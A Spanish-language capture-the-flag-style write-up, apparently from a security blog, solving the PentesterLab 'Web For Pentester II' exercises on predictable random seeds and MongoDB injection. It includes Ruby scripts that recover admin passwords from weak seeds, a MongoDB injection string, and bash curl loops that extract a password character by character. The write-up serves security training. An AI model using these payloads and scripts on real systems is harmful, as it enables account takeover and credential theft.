[Pentesterlab write-up] Web For Pentester II - Randomness Issues & MongoDB injection

Teníamos pendiente terminar el segundo laboratorio de Web For Pentesters de Pentesterlab y para ello nos quedaban dos bloques: uno en el que encontraremos distintos problemas derivados por una mala implementación de funciones de aleatorización (Randomness Issues), y el otro en el que tendremos la oportunidad de inyectar en una base de datos NoSQL (MongoDB injection). ¡Vamos a ello!


RANDOMNESS ISSUES

Ejercicio 1:

En el primer ejercicio las instrucciones nos indican que podemos autenticarnos con las credenciales del usuario “hacker”, que dicho usuario ha sido generado en segundo lugar y nos facilitan el código fuente para que obtengamos la contraseña del primer usuario creado, el usuario “admin”:


Como veis el seed es 0 (Random.new(0)) por lo que la contraseña generada siempre será la misma. Entonces sólo tenemos ejecutar el código facilitado y obtendremos la contraseña:

irb(main):001:0> s = Random.new(0)
=> #<Random:0x00559bb31ceab8>
irb(main):002:0> pass = 6.times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "mpvadd"


Ejercicio 2:

En el segundo ejercicio el objetivo es el mismo que en el anterior, pero esta vez el código cambia:


En esta ocasión el seed es el timestamp actual. Para obtener la contraseña es necesario crear un script que calcule las contraseñas generadas:

timestamp = (Time.now.to_f).to_i
seed = Random.new(timestamp)
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join

while pass_hacker !="hbdgyz" do #contraseña del usuario 'hacker'
 timestamp = timestamp - 1
 seed = Random.new(timestamp)
 pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
 pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end

puts "Password de admin: "
puts pass_admin

Si lo ejecutamos, obtendremos la contraseña correspondiente:

$# ruby script1.rb 
Password de admin: 
qjajcz


Ejercicio 3:

Desconozco la rázon, pero el ejercicio 3 es la misma vulnerabilidad que en el ejercicio 1 ¯\_(ツ)_/¯ :



Así que sólo tenemos que ejecutar el código para obtener la contraseña de admin:

# irb
irb(main):001:0> s = Random.new(0)
=> #<Random:0x0055c8a0bda9c0>
irb(main):002:0> pass = (6+s.rand(5)).times.map { ('a'..'z').to_a[s.rand(('a'..'z').to_a.size)]}.join
=> "pvaddhjtvs"

Ejercicio 4:

En el último ejercicio no sabemos cuántas veces se ha usado el generador de aleatorios, pero igualmente podemos realizar un ataque de fuerza bruta:


n = 1000
seed = Random.new(0)
n.times {seed.rand(5)}
pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join


while pass_hacker !="ehxohw" do 
 n = n - 1
 seed = Random.new(0)
 n.times {seed.rand(5)}
 pass_admin = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
 pass_hacker = 6.times.map { ('a'..'z').to_a[seed.rand(('a'..'z').to_a.size)]}.join
end

puts "Password de admin: "
puts pass_admin

Si ejecutamos también el script, obtendremos rápidamente la contraseña:

# ruby script2.rb 
Password de admin: 
pgobeq


MONGODB INJECTION

Ejercicio 1:

MongoDB es una base de datos NoSQL, pero todavía puede explotarse utilizando los mismos métodos (o similares). El primer ejercicio es un ejemplo básico de una inyección SQL, sólo hay que crear una declaración verdadera y encontrar un carácter de escape.


Eso sí, hay que cambiar un poco la sintaxis de la inyección típica ' or 1=1# a ' || 1==1 //
 

Ejercicio 2:

En el segundo y último ejercicio tendremos que obtener la contraseña del admin manipulando las peticiones GET.
Con la siguiente URL se mostrará el usuario con nombre ‘admin’ sea cual sea la contraseña:

http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/./)


Ahora si cambiamos el valor entre ‘/ /’ podremos "adivinar" los caracteres de la contraseña, porque si ese carácter está en la contraseña se mostrará la información del admin, si no no se recuperará nada como se muestra a continuación:

http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/k/)


Sabiendo ésto sólo tenemos que recorrer todos los caracteres disponibles y observar la respuesta para obtener todos los caracteres de la contraseña. Para ello, usaremos un sencillo script en bash:

for n in {0..7}{0..7}{0..7}; do 
    letra=$(echo -e "\\0$n");
    respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/$letra/)" | grep admin);
    if [ "$respuesta" ]; then
        echo -n $letra
    fi    
done


Obviando los símbolos especiales, con esto tenemos todos los caracteres de la contraseña pero de una forma no ordenada. En teoría, para obtener el orden correcto y por tanto la contraseña lo correcto sería usar los símbolos ‘^’ y ‘$’ de tal manera que nos aseguráramos que no existen caracteres en el medio del string. Por ejemplo, en el caso que la contraseña empezara por ‘a’ si consultamos /^a.*$/ la respuesta debería ser verdadera, pero si lo comprobamos la petición no devuelve lo esperado:

http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/^a.*$/)//+


La única manera efectiva que encontré es usar dos o más caracteres con el comodín “.”. Por lo que primero lanzamos un sencillo script para obtener las dos primeras letras de la contraseña:

char1="acdhinprswz0"
char2="acdhinprswz0"

for (( i=0; i<${#char1}; i++ )); do
    for (( j=0; j<${#char2}; j++ )); do
            echo ${char1:$i:1}${char2:$j:1}
            respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/${char1:$i:1}${char2:$j:1}./)" | grep admin);

            if [ "$respuesta" ]; then
                echo "las primeras letras son ${char1:$i:1}${char2:$j:1}"
                exit
            fi    
    done
done


y ya con ésto, iteramos para obtener el resto de la contraseña mediante otro script:

caracteres="0acdhinprswz"
password="an"

while true; do
        for (( i=0; i<${#caracteres}; i++ )); do
                letra=$(echo "${caracteres:$i:1}")
                echo $password$letra
                respuesta=$(curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/$password$letra./)" | grep admin);

                if [ "$respuesta" ]; then
                        password=$password$letra
                fi
        done
done


Como veis cuando llega el último carácter entra en bucle infinito, pero es bastante evidente saber cuál es la última letra o probar manualmente las posibilidades restantes.

 curl --silent "http://vulnerable/mongodb/example2/?search=admin%27%20%26%26%20this.password.match(/anhazpassw0rd/)" | grep admin
    <tr><td><a href="?search=admin">admin</a></td></tr>

Así que la password es 'anhazpassw0rd' :)


[Pentesterlab write-ups by Hackplayers] Web For Pentester II:

SQL Injections
Authentication
Captcha
Authorization & Mass Assignment
Randomness Issues & MongoDB injection

Comentarios